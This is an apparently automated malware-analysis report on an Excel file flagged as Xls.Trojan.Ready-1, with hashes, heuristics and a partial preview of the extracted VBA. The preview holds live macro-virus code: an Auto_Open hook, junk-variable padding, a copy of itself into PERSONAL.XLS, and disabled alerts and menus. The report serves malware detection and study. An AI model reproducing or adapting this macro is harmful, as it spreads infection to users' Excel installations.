Xls.Trojan.Ready-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 57d0954f43c98f34…

MALICIOUS

Office (OLE)

59.5 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: a16c15fa8fba61418bea51ff91415423 SHA-1: 5495f5b99960997de24f45cbb2e42b657762b4e1 SHA-256: 57d0954f43c98f3475166a4b87b812f9db207a2b567b9b07c07c0e515eb906a4
120 Risk Score

Malware Insights

Xls.Trojan.Ready-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing a critical Auto_Open VBA macro, detected by ClamAV as Xls.Trojan.Ready-1. The presence of the Auto_Open macro indicates that malicious code will execute automatically when the document is opened, a common technique for delivering further malware. The macro's purpose is likely to download and execute a second-stage payload.

Heuristics 3

  • ClamAV: Xls.Trojan.Ready-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Ready-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13158 bytes
SHA-256: b9edc151c0fe597a12a7fa9dd3af40730e8968b8f3bf7ca260364f7412ccceae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "az"
Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Attribute ShowCursor.VB_ProcData.VB_Invoke_Func = " \n14"
Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
OjDhBvBsCkToBrKg = PnOqUnUxBwNe & SgLzJzMfSrNtJgSePlClJvNeAxAq695734
Application.OnSheetActivate = "NlF1748"
QiQoPoDfAqBg = OsDvApGnUeDhLyMjLyRmQzCp & AvUtVuOhHuGwQuAfBeAoPjOgTkVwUxBiGqHfIiGfVlEvNgLt33587470
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
QnDnGgUnMvGuGuQsRoVhCqCsGsDhTtNxOrEkPe = Ik & OjHrFvRlTq96788992
NlF1748
LkKo = Ts & PgBvUzNwOvEtQkMiPhIyFvGvEtOlKzBgLeIiQmQeKjIsBtUzBqPmSmOq59583068
End Sub
Sub NlF1748()
Attribute NlF1748.VB_ProcData.VB_Invoke_Func = " \n14"
QnDnGgUnMvGuGuQsRoVhCqCsGsDhTtNxOrEkPe = Ik & OjHrFvRlTq96788992
On Error Resume Next
RyPwOxNpVhQuEoVrVeBmUqGpNhDzUvCeRh = Bw & QlKxGuLeVnNl13054926
GwUxGx4107 = "az"
AjNyUoDyGqLiRyGlVq = SnVoGxOpOqQlFlIyFuVwNrCkHvSxPz & FlTxEpAuEuGxAnCtSqBvDkNqTrHpLoDrNgFfQoPfFiOi71596003
ToEtRn1748 = "PERSONAL.XLS"
LkKo = Ts & PgBvUzNwOvEtQkMiPhIyFvGvEtOlKzBgLeIiQmQeKjIsBtUzBqPmSmOq59583068
UuErPg6445 = Application.StartupPath & "\" & ToEtRn1748
MyUu = VlUwRnBoTzVtFrSuEuDkOnJsLxQxMxJiIqMrOpCxQi & OtHgDhMhIjEeBeFgKpNrMmDrAoAz43392615
KyHiGy8776ToEtRn9388 = 0
OjDhBvBsCkToBrKg = PnOqUnUxBwNe & SgLzJzMfSrNtJgSePlClJvNeAxAq695734
QjVzFq1748GwUxGx6445 = 0
QiQoPoDfAqBg = OsDvApGnUeDhLyMjLyRmQzCp & AvUtVuOhHuGwQuAfBeAoPjOgTkVwUxBiGqHfIiGfVlEvNgLt33587470
With Application
Fl = LwHqFxDfCnSzOiCeEpHkSuElIpFmQvSlKoIiQf & UpEvLnIqMrIuPwNrLlQuVyItOxEgPn19941590
MkSvKuTxNq = TiSuBo & VfEyQlReExJmBnIwMhLeKwMwIsGtEsGkTjSlKyBfHm17716902
.ScreenUpdating = False
UzDqRmCoNhKuFgLxVe = SmKk & IxOzPrLeIe8413558
.DisplayAlerts = False
CyDrLqPvCmJoUvQwFgEjVrPoEwEpSeSmQgQp = TqLwUxBvCzFeVeCrSpIq & HsUoBrQiNvBqTkSgOwElEsLlKeKe14925145
.EnableCancelKey = xlDisabled
BfHmSjPuSr = AmVrSgJkJgDpGwCrJtFfLtUzOqTxVsUfVwFvNeSuCgGjJkNfUs & JzVpOgDzUjPtQnRrKsOoClLgNlTnEuHeHr401769
End With
LtDeMpTrCyPnCjPxMxSlMtOtOpBpDvQwVyDx = SjOrFwQuEg & BuTfRoPlFrMeAvGiOuMiLrSwDqLw28118966
CommandBars("Tools").Controls(10).Delete
CoHjCiBeIp = QfPxGwLwVuHgHj & GhJgTvEzDmIoAvDfSiMqEqVqUuNqNrOwCuJzEyRkVlUySrDsGpHs80286418
CommandBar
... (truncated)